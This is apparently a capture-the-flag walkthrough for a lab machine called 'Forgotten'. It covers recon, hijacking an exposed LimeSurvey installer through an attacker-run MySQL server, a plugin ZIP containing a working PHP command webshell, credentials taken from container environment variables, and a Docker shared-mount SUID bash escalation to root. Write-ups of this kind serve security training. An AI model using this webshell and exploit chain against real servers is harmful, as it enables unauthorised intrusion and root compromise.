Syk0

Forgotten


Forgotten

Overview

Forgotten runs LimeSurvey in a Docker container. The LimeSurvey installer is exposed and can be redirected to a remote MySQL instance to complete setup and obtain admin credentials. A malicious plugin with a PHP webshell gains code execution inside the container. A password in the container environment variables enables SSH to the host as limesvc. Privilege escalation abuses the shared filesystem between the container and host - setting SUID on a bash copy from within the container makes it SUID-owned-by-root on the host.


Recon

Nmap

sudo nmap -sC -sV -vv -oA tcp 10.129.36.129 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.36.129

Ports 22 and 80 are open.

Web Enumeration

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
  -u http://10.129.36.129/FUZZ -ic

A /survey directory is found, presenting the LimeSurvey 6.3.7 installer script - the installation was never completed, leaving the installer exposed.


Foothold

LimeSurvey Installer Abuse

The installer requires a MySQL connection to complete setup. Instead of providing internal credentials (which we don't know), redirect the installer to connect to our own MySQL instance:

docker run -p 3308:3306 --name some-mysql \
  -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag

In the LimeSurvey installer's database configuration screen, set:

  • Host: 10.10.14.98:3308 (our machine)
  • Username: root
  • Password: my-secret-pw

Complete the installation. LimeSurvey now creates its schema in our MySQL instance and sets up an admin account - we control the admin username and password since we own the database.

Malicious Plugin Upload

LimeSurvey allows admin users to upload and enable plugins as ZIP files. Create a malicious plugin containing a webshell:

config.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>ExampleSettings</name>
        <type>plugin</type>
        <version>3.0.0</version>
        <license>GNU General Public License</license>
        <description><![CDATA[Example plugin]]></description>
    </metadata>
    <compatibility>
        <version>6</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

ex.php:

<?php
if(isset($_REQUEST['cmd'])){
    echo '<pre>';
    print_r(system($_REQUEST['cmd']));
    echo '</pre>';
} else {
    echo 'Waiting command';
}

Package and upload:

zip a.zip config.xml ex.php

Enable the plugin and browse the webshell:

http://10.129.36.129/survey/upload/plugins/ExampleSettings/ex.php

Execution is confirmed - we're inside a Docker container:

Credentials in Container Environment

Read the container's environment variables via the webshell (?cmd=env):

Credentials: limesurvey : 5W5HN4K4GCXf9E

Test as the limesvc user on the host:

ssh [email protected]

SSH access granted. User flag accessible.


Privilege Escalation

Docker Shared Filesystem - SUID Escalation

The LimeSurvey application directory (/opt/limesurvey) is mounted inside the Docker container and also accessible on the host. Since we can become root inside the container (via su or the webshell running as www-data which may have root inside the container), and the filesystem is shared - any file we create or modify as root in the container retains root ownership on the host.

On the host: Copy bash to the shared directory:

cp /bin/bash /opt/limesurvey/brc

Inside the Docker container (as root):

chown root:root brc
chmod 6777 brc

Setting UID/GID bits + world-executable. Since the file is now root-owned with SUID set in the container, and the host shares the same inode, the file on the host is also SUID root.

On the host: Execute the SUID bash copy:

./brc -p

The -p flag preserves the EUID, giving an effective root shell.


Attack Chain Summary

PhaseTechniqueResult
ReconDirectory bruteforceLimeSurvey installer exposed
Installer abuseRedirect MySQL to attackerAdmin credentials set
FootholdMalicious PHP pluginWebshell in Docker container
Credential discoveryContainer env variableslimesvc:5W5HN4K4GCXf9E
SSHPassword SSHShell on host
PrivescDocker shared filesystem + SUIDRoot shell via brc -p